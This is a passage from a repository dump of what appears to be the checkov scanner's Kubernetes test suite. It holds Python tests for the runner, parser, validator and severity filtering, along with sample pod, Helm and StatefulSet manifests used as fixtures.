CheckType.SCA_IMAGE)\n\n    assert len(k8s_report.resources) == 2\n    assert len(k8s_report.passed_checks) == 67\n    assert len(k8s_report.failed_checks) == 22\n    assert len(k8s_report.skipped_checks) == 0\n    assert len(k8s_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 2\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name_1} lines:{code_lines_1} (sha256:2460522297)).go\",\n        f\"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 6\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_stateful_set_resources(mocker: MockerFixture, graph_framework):\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n\n    # given\n    file_name = \"stateful_set.yaml\"\n    image_name_1 = \"cockroachdb/cockroach-k8s-init:0.2\"\n    image_name_2 = \"cockroachdb/cockroach:v1.1.0\"\n    code_lines_1 = \"14-100\"\n    code_lines_2 = \"14-100\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n    bc_integration.bc_source = get_source_type(\"disabled\")\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    k8s_report = next(report for report in reports if report.check_type == CheckType.KUBERNETES)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(k8s_report.resources) == 2\n    assert len(k8s_report.passed_checks) == 69\n    assert len(k8s_report.failed_checks) == 20\n    assert len(k8s_report.skipped_checks) == 0\n    assert len(k8s_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 2\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name_1} lines:{code_lines_1} (sha256:2460522297)).go\",\n        f\"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 6\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n"
  },
  {
    "path": "tests/kubernetes/parser/__init__.py",
    "content": ""
  },
  {
    "path": "tests/kubernetes/parser/examples/json/mongo-pod.json",
    "content": "{\n  \"kind\": \"Pod\",\n  \"apiVersion\": \"v1\",\n  \"metadata\": {\n    \"name\": \"mongo\",\n    \"labels\": {\n      \"name\": \"mongo\",\n      \"role\": \"mongo\"\n    }\n  },\n  \"spec\": {\n    \"volumes\": [\n      {\n        \"name\": \"mongo-disk\",\n        \"gcePersistentDisk\": {\n          \"pdName\": \"mongo-disk\",\n          \"fsType\": \"ext4\"\n        }\n      }\n    ],\n    \"containers\": [\n      {\n        \"name\": \"mongo\",\n        \"image\": \"mongo:latest\",\n        \"ports\": [\n          {\n            \"name\": \"mongo\",\n            \"containerPort\": 27017\n          }\n        ],\n        \"volumeMounts\": [\n          {\n            \"name\": \"mongo-disk\",\n            \"mountPath\": \"/data/db\"\n          }\n        ]\n      }\n    ]\n  }\n}\n"
  },
  {
    "path": "tests/kubernetes/parser/examples/json/normal.json",
    "content": "{\n  \"id\": \"0001\",\n  \"type\": \"donut\",\n  \"name\": \"Cake\",\n  \"ppu\": 0.55,\n  \"batters\": {\n    \"batter\": [\n      {\n        \"id\": \"1001\",\n        \"type\": \"Regular\"\n      },\n      {\n        \"id\": \"1002\",\n        \"type\": \"Chocolate\"\n      },\n      {\n        \"id\": \"1003\",\n        \"type\": \"Blueberry\"\n      },\n      {\n        \"id\": \"1004\",\n        \"type\": \"Devil's Food\"\n      }\n    ]\n  },\n  \"topping\": [\n    {\n      \"id\": \"5001\",\n      \"type\": \"None\"\n    },\n    {\n      \"id\": \"5002\",\n      \"type\": \"Glazed\"\n    },\n    {\n      \"id\": \"5005\",\n      \"type\": \"Sugar\"\n    },\n    {\n      \"id\": \"5007\",\n      \"type\": \"Powdered Sugar\"\n    },\n    {\n      \"id\": \"5006\",\n      \"type\": \"Chocolate with Sprinkles\"\n    },\n    {\n      \"id\": \"5003\",\n      \"type\": \"Chocolate\"\n    },\n    {\n      \"id\": \"5004\",\n      \"type\": \"Maple\"\n    }\n  ]\n}"
  },
  {
    "path": "tests/kubernetes/parser/examples/yaml/busybox.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  labels: \n    test: liveness\n  name: liveness-exec\nspec: \n  containers: \n  - name: liveness\n    image: k8s.gcr.io/busybox\n    args:\n    - /bin/sh\n    - -c \n    - touch /tmp/healthy; sleep 30; rm -rf /tmp/healthy; sleep 600\n    livenessProbe: \n      exec: \n        command:\n        - cat\n        - /tmp/healthy\n      initialDelaySeconds: 5\n      periodSeconds: 5\n    readinessProbe:\n      exec:\n        command:\n        - cat \n        - /tmp/healthy\n      initialDelaySeconds: 5\n      periodSeconds: 5\n"
  },
  {
    "path": "tests/kubernetes/parser/examples/yaml/busybox_utf8_bom.yaml",
    "content": "﻿apiVersion: v1\nkind: Pod\nmetadata:\n  labels: \n    test: liveness\n  name: liveness-exec\nspec: \n  containers: \n  - name: liveness\n    image: k8s.gcr.io/busybox\n    args:\n    - /bin/sh\n    - -c \n    - touch /tmp/healthy; sleep 30; rm -rf /tmp/healthy; sleep 600\n    livenessProbe: \n      exec: \n        command:\n        - cat\n        - /tmp/healthy\n      initialDelaySeconds: 5\n      periodSeconds: 5\n    readinessProbe:\n      exec:\n        command:\n        - cat \n        - /tmp/healthy\n      initialDelaySeconds: 5\n      periodSeconds: 5\n"
  },
  {
    "path": "tests/kubernetes/parser/examples/yaml/helm.yaml",
    "content": "{{- if and .Values.auth.enabled (not .Values.auth.existingSecret) -}}\napiVersion: v1\nkind: Secret\nmetadata:\n  name: {{ template \"common.names.fullname\" . }}\n  namespace: {{ .Release.Namespace | quote }}\n  labels: {{- include \"common.labels.standard\" . | nindent 4 }}\n    {{- if .Values.commonLabels }}\n    {{- include \"common.tplvalues.render\" ( dict \"value\" .Values.commonLabels \"context\" $ ) | nindent 4 }}\n    {{- end }}\n  {{- if .Values.commonAnnotations }}\n  annotations: {{- include \"common.tplvalues.render\" ( dict \"value\" .Values.commonAnnotations \"context\" $ ) | nindent 4 }}\n  {{- end }}\ntype: Opaque\ndata:\n  redis-password: {{ include \"redis.password\" . | b64enc | quote }}\n{{- end -}}\n"
  },
  {
    "path": "tests/kubernetes/parser/examples/yaml/helm2.yaml",
    "content": "---\nlayout: null\n---\n{% helm %}\ndatastore: kubernetes\nnetwork: something\nvxlan: true\n{% endhelm %}"
  },
  {
    "path": "tests/kubernetes/parser/examples/yaml/normal.yaml",
    "content": "---\n# An employee record\nname: Martin D'vloper\njob: Developer\nskill: Elite\nemployed: True\nfoods:\n  - Apple\n  - Orange\n  - Strawberry\n  - Mango\nlanguages:\n  perl: Elite\n  python: Elite\n  pascal: Lame\neducation: |\n  4 GCSEs\n  3 A-Levels\n  BSc in the Internet of Things\n"
  },
  {
    "path": "tests/kubernetes/parser/examples/yaml/not_helm_configmap.yaml",
    "content": "apiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: application-properties\ndata:\n  application.properties: |\n    setting = {{ not_a_helm_template }}  \n    env = test"
  },
  {
    "path": "tests/kubernetes/parser/test_k8_json.py",
    "content": "from pathlib import Path\n\nfrom checkov.kubernetes.parser.k8_json import load\n\nEXAMPLES_DIR = Path(__file__).parent / \"examples\"\n\ndef test_load_pod():\n    # given\n    file_path = EXAMPLES_DIR / \"json/mongo-pod.json\"\n\n    # when\n    template, file_lines = load(file_path)\n\n    # then\n    assert len(template) == 1\n    assert template[0][\"apiVersion\"] == \"v1\"\n    assert template[0][\"kind\"] == \"Pod\"\n    assert len(file_lines) == 40\n\n\ndef test_load_not_k8s_file():\n    # given\n    file_path = EXAMPLES_DIR / \"json/normal.json\"\n\n    # when\n    template, file_lines = load(file_path)\n\n    # then\n    assert template == [{}]\n    assert file_lines == []\n"
  },
  {
    "path": "tests/kubernetes/parser/test_k8_valicator.py",
    "content": "import pytest\n\nfrom checkov.kubernetes.parser.validatior import K8sValidator\n\n\n@pytest.fixture\ndef template_valid_fields():\n    return {\n      \"apiVersion\": \"v1\",\n      \"kind\": \"Pod\",\n      \"metadata\": {\n        \"name\": \"nginx-demo\"\n      },\n      \"spec\": {\n        \"containers\": [\n          {\n            \"name\": \"nginx\",\n            \"image\": \"nginx:1.14.2\",\n            \"ports\": [\n              {\n                \"containerPort\": 80\n              }\n            ]\n          }\n        ]\n      }\n    }\n\n\n@pytest.fixture\ndef template_invalid_name():\n    return {\n      \"apiVersion\": \"v1\",\n      \"kind\": \"Pod\",\n      \"metadata\": {\n        \"name\": \"nginx-demo\"\n      },\n      \"spec\": {\n        \"containers\": [\n          {\n            \"name\": \"#{nginx}\",\n            \"image\": \"nginx:1.14.2\",\n            \"ports\": [\n              {\n                \"containerPort\": 80\n              }\n            ]\n          }\n        ]\n      }\n    }\n\n\ndef test_k8s_template_has_required_fields(template_valid_fields):\n    is_valid, reason = K8sValidator.is_valid_template(template_valid_fields)\n    assert is_valid\n\n\ndef test_k8s_template_is_name_valid(template_invalid_name):\n    is_valid, reason = K8sValidator.is_valid_template(template_invalid_name)\n    assert not is_valid\n"
  },
  {
    "path": "tests/kubernetes/parser/test_k8_yaml.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.parser.k8_yaml import load\n\nEXAMPLES_DIR = Path(__file__).parent / \"examples\"\n\n\nclass TestScannerRegistry(unittest.TestCase):\n    def test_load_pod(self):\n        # given\n        file_path = EXAMPLES_DIR / \"yaml/busybox.yaml\"\n\n        # when\n        template, file_lines = load(file_path)\n\n        # then\n        assert len(template) == 1\n        assert template[0][\"apiVersion\"] == \"v1\"\n        assert template[0][\"kind\"] == \"Pod\"\n        assert len(file_lines) == 28\n\n\n    def test_load_not_k8s_file(self):\n        # given\n        file_path = EXAMPLES_DIR / \"yaml/normal.yaml\"\n\n        # when\n        template, file_lines = load(file_path)\n\n        # then\n        assert template == [{}]\n        assert file_lines == []\n\n\n    def test_load_helm_template_file(self):\n        # given\n        file_path = EXAMPLES_DIR / \"yaml/helm.yaml\"\n\n        # when\n        template, file_lines = load(file_path)\n\n        # then\n        assert template == [{}]\n        assert file_lines == []\n\n    def test_load_helm_vars_file(self):\n        # given\n        file_path = EXAMPLES_DIR / \"yaml/helm2.yaml\"\n\n        # when\n        template, file_lines = load(file_path)\n\n        # then\n        assert template == [{}]\n        assert file_lines == []\n\n    def test_load_utf8_bom_file(self):\n        # given\n        file_path = EXAMPLES_DIR / \"yaml/busybox_utf8_bom.yaml\"\n\n        # when\n        template, file_lines = load(file_path)\n\n        # then\n        assert len(template) == 1\n        assert template[0][\"apiVersion\"] == \"v1\"\n        assert template[0][\"kind\"] == \"Pod\"\n        assert len(file_lines) == 28\n\n    def test_load_templating_configmap(self):\n        # given\n        file_path = EXAMPLES_DIR / \"yaml/not_helm_configmap.yaml\"\n\n        # when\n        template, file_lines = load(file_path)\n\n        # then\n        assert len(template) == 1\n        assert template[0][\"apiVersion\"] == \"v1\"\n        assert template[0][\"kind\"] == \"ConfigMap\"\n        assert len(file_lines) == 8\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/runner/__init__.py",
    "content": ""
  },
  {
    "path": "tests/kubernetes/runner/list_annotation/example.yaml",
    "content": "apiVersion: backstage.io/v1alpha1\nkind: Location\nmetadata:\n  name: myName\n  description: description\n  annotations:\n    - backstage.io/techdocs-ref: url:https://github.com/test/repo\n"
  },
  {
    "path": "tests/kubernetes/runner/resources/example.yaml",
    "content": "---\napiVersion: v1\nkind: Service\nmetadata:\n  name: kafka-hs\n  labels:\n    app: kafka\nspec:\n  ports:\n  - port: 9093\n    name: server\n  clusterIP: None\n  selector:\n    app: kafka"
  },
  {
    "path": "tests/kubernetes/runner/resources/example_multiple.yaml",
    "content": "---\n# Source: a/templates/pod_disruption_budget.yaml\n---\napiVersion: policy/v1beta1\nkind: PodDisruptionBudget\nmetadata:\n  name: a\n  namespace: a\nspec:\n  maxUnavailable: 1\n  selector:\n    matchLabels:\n      app: a\n\n---\n# Source: a/templates/service.yaml\napiVersion: v1\nkind: Service\nmetadata:\n  name: a\n  labels:\n    app: a\n    owner: core\n    helm.sh/chart: a-0.0.0\n    app.kubernetes.io/instance: release-name\n    app.kubernetes.io/managed-by: Tiller\n    version: \"a\"\n    CostProduct: a\n    CostTech: \"k8s\"\nspec:\n  ports:\n    - protocol: TCP\n      port: 80\n      targetPort: 8000\n  selector:\n    app: a\n\n---\n# Source: a/templates/deployment.yaml\n---\n\n---\n# Source: a/templates/cron_job.yaml\n\n\n"
  },
  {
    "path": "tests/kubernetes/runner/resources/graph.yaml",
    "content": "apiVersion: apps/v1\nkind: StatefulSet\nmetadata:\n  name: cassandra\n  labels:\n    app: cassandra\nspec:\n  serviceName: cassandra\n  replicas: 3\n  selector:\n    matchLabels:\n      app: cassandra\n  template:\n    metadata:\n      labels:\n        app: cassandra\n    spec:\n      terminationGracePeriodSeconds: 1800\n      containers:\n      - name: cassandra\n        image: gcr.io/google-samples/cassandra:v13\n        imagePullPolicy: Always\n        securityContext:\n          capabilities:\n            add:\n              - IPC_LOCK\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: my-nginx\n  labels:\n    app: nginx\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: nginx\n  template:\n    metadata:\n      labels:\n        app: nginx\n    spec:\n      containers:\n      - name: nginx\n        image: nginx:1.14.2\n        ports:\n        - containerPort: 80\n"
  },
  {
    "path": "tests/kubernetes/runner/test_runner.py",
    "content": "import dis\nimport inspect\nimport os\nimport unittest\nfrom collections import defaultdict\nfrom pathlib import Path\n\nfrom parameterized import parameterized_class\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.common.checks_infra.registry import get_graph_checks_registry\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.kubernetes.checks.resource.registry import registry\n\n@parameterized_class([\n   {\"db_connector\": NetworkxConnector},\n   {\"db_connector\": RustworkxConnector}\n])\nclass TestRunnerValid(unittest.TestCase):\n    def setUp(self) -> None:\n        self.orig_checks = registry.checks\n\n    def test_registry_has_type(self):\n        self.assertEqual(registry.report_type, CheckType.KUBERNETES)\n\n    def test_runner_honors_enforcement_rules(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_dir_path = os.path.join(current_dir, \"resources\")\n\n        external_checks = os.path.join(current_dir, '..', 'graph', 'checks', 'test_checks')\n\n        runner = Runner(db_connector=self.db_connector())\n        filter = RunnerFilter(framework=['kubernetes'], use_enforcement_rules=True)\n        # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n        # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n        filter.enforcement_rule_configs = {CheckType.KUBERNETES: Severities[BcSeverities.OFF]}\n        # load the test graph checks because there are no k8s graph checks at the moment, but we need to test that the graph registry knows what type it is\n        report = runner.run(root_folder=scan_dir_path, external_checks_dir=[external_checks],\n                            runner_filter=filter)\n\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.skipped_checks), 0)\n        self.assertEqual(len(report.parsing_errors), 0)\n\n    def test_record_relative_path_with_relative_dir(self):\n\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_dir_path = os.path.join(current_dir, \"resources\")\n\n        # this is the relative path to the directory to scan (what would actually get passed to the -d arg)\n        dir_rel_path = os.path.relpath(scan_dir_path).replace('\\\\', '/')\n\n        runner = Runner(db_connector=self.db_connector())\n        checks_allowlist = ['CKV_K8S_21']\n        report = runner.run(root_folder=dir_rel_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['kubernetes'], checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n        for record in all_checks:\n            self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}')\n\n    def test_record_relative_path_with_abs_dir(self):\n\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_dir_path = os.path.join(current_dir, \"resources\")\n\n        dir_rel_path = os.path.relpath(scan_dir_path).replace('\\\\', '/')\n\n        dir_abs_path = os.path.abspath(scan_dir_path)\n\n        runner = Runner(db_connector=self.db_connector())\n        checks_allowlist = ['CKV_K8S_21']\n        report = runner.run(root_folder=dir_abs_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['kubernetes'], checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n        for record in all_checks:\n            # no need to join with a '/' because the CFN runner adds it to the start of the file path\n            self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}')\n\n    def test_record_relative_path_with_relative_file(self):\n\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"example.yaml\")\n\n        # this is the relative path to the file to scan (what would actually get passed to the -f arg)\n        file_rel_path = os.path.relpath(scan_file_path)\n\n        runner = Runner(db_connector=self.db_connector())\n        checks_allowlist = ['CKV_K8S_21']\n        report = runner.run(root_folder=None, external_checks_dir=None, files=[file_rel_path],\n                            runner_filter=RunnerFilter(framework='kubernetes', checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n        for record in all_checks:\n            # no need to join with a '/' because the CFN runner adds it to the start of the file path\n            self.assertEqual(record.repo_file_path, f'/{file_rel_path}')\n\n    def test_record_relative_path_with_abs_file(self):\n\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"example.yaml\")\n\n        file_rel_path = os.path.relpath(scan_file_path)\n        file_abs_path = os.path.abspath(scan_file_path)\n\n        runner = Runner(db_connector=self.db_connector())\n        checks_allowlist = ['CKV_K8S_21']\n        report = runner.run(root_folder=None, external_checks_dir=None, files=[file_abs_path],\n                            runner_filter=RunnerFilter(framework='kubernetes', checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n        for record in all_checks:\n            # no need to join with a '/' because the CFN runner adds it to the start of the file path\n            self.assertEqual(record.repo_file_path, f'/{file_rel_path}')\n\n    def test_list_metadata_annotations(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"list_annotation\", \"example.yaml\")\n        file_rel_path = os.path.relpath(scan_file_path)\n        runner = Runner(db_connector=self.db_connector())\n        try:\n            runner.run(root_folder=None, external_checks_dir=None, files=[file_rel_path],\n                                runner_filter=RunnerFilter(framework='kubernetes'))\n        except Exception:\n            self.assertTrue(False, \"Could not run K8 runner on configuration\")\n\n    def test_wrong_check_imports(self):\n        wrong_imports = [\"arm\", \"cloudformation\", \"dockerfile\", \"helm\", \"serverless\", \"terraform\", \"kustomize\"]\n        check_imports = []\n\n        checks_path = Path(inspect.getfile(Runner)).parent.joinpath(\"checks\")\n        for file in checks_path.rglob(\"*.py\"):\n            with file.open() as f:\n                instructions = dis.get_instructions(f.read())\n                import_names = [instr.argval for instr in instructions if \"IMPORT_NAME\" == instr.opname]\n\n                for import_name in import_names:\n                    wrong_import = next((import_name for x in wrong_imports if x in import_name), None)\n                    if wrong_import:\n                        check_imports.append({file.name: wrong_import})\n\n        assert len(check_imports) == 0, f\"Wrong imports were added: {check_imports}\"\n\n    def test_parse_with_empty_blocks(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"example_multiple.yaml\")\n        file_rel_path = os.path.relpath(scan_file_path)\n        runner = Runner(db_connector=self.db_connector())\n        try:\n            report = runner.run(root_folder=None, external_checks_dir=None, files=[file_rel_path],\n                       runner_filter=RunnerFilter(framework='kubernetes'))\n            # just check that something was parsed and scanned\n            self.assertGreater(len(report.failed_checks) + len(report.passed_checks), 0)\n        except Exception:\n            self.assertTrue(False, \"Could not run K8 runner on configuration\")\n\n    def test_record_includes_severity(self):\n        custom_check_id = \"CKV_MY_CUSTOM_CHECK\"\n\n        registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseK8Check):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.KUBERNETES],\n                    [\"Service\"]\n                )\n\n            def scan_spec_conf(self, conf):\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.LOW]\n        scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"resources\", \"example.yaml\")\n\n        report = Runner(db_connector=self.db_connector()).run(\n            None,\n            files=[scan_file_path],\n            runner_filter=RunnerFilter(framework=['kubernetes'], checks=[custom_check_id])\n        )\n\n        self.assertEqual(report.failed_checks[0].severity, Severities[BcSeverities.LOW])\n\n    def test_record_check_severity(self):\n        custom_check_id = \"CKV_MY_CUSTOM_CHECK\"\n\n        registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseK8Check):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.KUBERNETES],\n                    [\"Service\"]\n                )\n\n            def scan_spec_conf(self, conf):\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.MEDIUM]\n        scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"resources\", \"example.yaml\")\n\n        report = Runner(db_connector=self.db_connector()).run(\n            None,\n            files=[scan_file_path],\n            runner_filter=RunnerFilter(framework=['kubernetes'], checks=['LOW'])\n        )\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertTrue(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_record_check_severity_omit(self):\n        custom_check_id = \"CKV_MY_CUSTOM_CHECK\"\n\n        registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseK8Check):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.KUBERNETES],\n                    [\"Service\"]\n                )\n\n            def scan_spec_conf(self, conf):\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.MEDIUM]\n        scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"resources\", \"example.yaml\")\n\n        report = Runner(db_connector=self.db_connector()).run(\n            None,\n            files=[scan_file_path],\n            runner_filter=RunnerFilter(framework=['kubernetes'], checks=['HIGH'])\n        )\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertFalse(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_record_check_skip_severity(self):\n        custom_check_id = \"CKV_MY_CUSTOM_CHECK\"\n\n        registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseK8Check):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.KUBERNETES],\n                    [\"Service\"]\n                )\n\n            def scan_spec_conf(self, conf):\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.HIGH]\n        scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"resources\", \"example.yaml\")\n\n        report = Runner(db_connector=self.db_connector()).run(\n            None,\n            files=[scan_file_path],\n            runner_filter=RunnerFilter(framework=['kubernetes'], skip_checks=['MEDIUM'])\n        )\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertTrue(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_record_check_skip_severity_omit(self):\n        custom_check_id = \"CKV_MY_CUSTOM_CHECK\"\n\n        registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseK8Check):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.KUBERNETES],\n                    [\"Service\"]\n                )\n\n            def scan_spec_conf(self, conf):\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.LOW]\n        scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"resources\", \"example.yaml\")\n\n        report = Runner(db_connector=self.db_connector()).run(\n            None,\n            files=[scan_file_path],\n            runner_filter=RunnerFilter(framework=['kubernetes'], skip_checks=['MEDIUM'])\n        )\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertFalse(any(c.check_id == custom_check_id for c in all_checks))\n\n    def tearDown(self):\n        registry.checks = self.orig_checks\n        get_graph_checks_registry(\"kubernetes\").checks = []\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/test_base_registry.py",
    "content": "import unittest\nfrom typing import Optional\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import Severity, Severities, BcSeverities\nfrom checkov.kubernetes.checks.resource.base_registry import Registry\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCheck:\n    def __init__(self, id: str, bc_id: Optional[str] = None, severity: Optional[Severity] = None):\n        self.id = id\n        self.bc_id = bc_id\n        self.severity = severity\n\n\nclass TestRunnerFilter(unittest.TestCase):\n\n    def test_run_by_id_default(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[], skip_checks=[])\n        check = TestCheck('CKV_1')\n        self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES))\n\n    def test_run_by_id_specific_enable(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[\"CKV_1\"], skip_checks=[])\n        check = TestCheck('CKV_1')\n        self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES))\n\n    def test_run_by_severity(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[\"LOW\"], skip_checks=[])\n        check = TestCheck('CKV_1', severity=Severities[BcSeverities.LOW])\n        self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES))\n\n    def test_run_by_severity_omitted(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[\"HIGH\"], skip_checks=[])\n        check = TestCheck('CKV_1', severity=Severities[BcSeverities.LOW])\n        self.assertFalse(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES))\n\n    def test_run_by_severity_implicit(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[\"LOW\"], skip_checks=[])\n        check = TestCheck('CKV_1', severity=Severities[BcSeverities.HIGH])\n        self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES))\n\n    def test_run_by_skip_severity(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[], skip_checks=[\"LOW\"])\n        check = TestCheck('CKV_1', severity=Severities[BcSeverities.LOW])\n        self.assertFalse(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES))\n\n    def test_run_by_skip_severity_implicit(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[], skip_checks=[\"HIGH\"])\n        check = TestCheck('CKV_1', severity=Severities[BcSeverities.LOW])\n        self.assertFalse(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES))\n\n    def test_run_by_skip_severity_omitted(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[], skip_checks=[\"LOW\"])\n        check = TestCheck('CKV_1', severity=Severities[BcSeverities.HIGH])\n        self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES))\n\n    def test_run_by_id_specific_enable_bc_id(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[\"BC_CKV_1\"], skip_checks=[])\n        check = TestCheck('CKV_1', 'BC_CKV_1')\n        self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES))\n\n    def test_run_by_id_omitted_specific_enable(self):\n        instance = 